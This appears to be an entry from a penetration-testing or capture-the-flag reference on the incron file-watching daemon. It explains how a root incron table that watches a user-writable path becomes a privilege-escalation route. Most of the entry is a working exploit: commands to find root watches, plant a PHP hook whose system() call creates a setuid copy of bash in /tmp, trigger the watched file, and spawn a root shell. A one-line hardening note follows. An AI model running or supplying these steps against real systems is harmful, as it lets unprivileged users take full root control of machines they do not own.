incron
aka incrond
inotify-based cron that runs commands when watched files change. Root incron tables that watch an app-writable path are a clean trusted-process / untrusted-file root primitive.
Fingerprint
- incrond process running; /etc/incron.d/ contains tables
- incrontab -l lists a user's watches
Key files
| Path | Holds | Sensitive |
|---|---|---|
/etc/incron.d/ | system incron tables (root) watching paths and the command each runs | |
/var/spool/incron/ | per-user incron tables | |
/etc/incron.allow | who may use incrontab |
Service users
root (root tables run as root)
Exploitation primitives
- Read /etc/incron.d/* and note any path you can write that a root table watches
- If the triggered command includes/executes a file you control (require_once, source, a script), plant that file and write the watched trigger to run code as root
- IN_CLOSE_WRITE / IN_MODIFY events fire the action the moment you touch the path
Overview
incrond is like cron but triggered by filesystem events. The privesc pattern is a root incron table that watches a directory or file an unprivileged user can write, and whose action then trusts attacker-controlled content.
Privilege escalation
Find root watches on writable paths:
cat /etc/incron.d/*
If the action require_once’s a missing/writable PHP module, plant it:
mkdir -p /writable/path && cat > /writable/path/hook.php <<'PHP'
<?php class X { function run(){ system("cp /bin/bash /tmp/rb; chmod 6755 /tmp/rb"); } }
PHP
Touch the watched trigger so the root daemon runs the action:
echo go > /the/watched/trigger
Drop to root:
/tmp/rb -p
Hardening
Root incron actions must only touch root-owned, non-writable files, and should never include or execute from an app-writable path.
Seen on these machines 1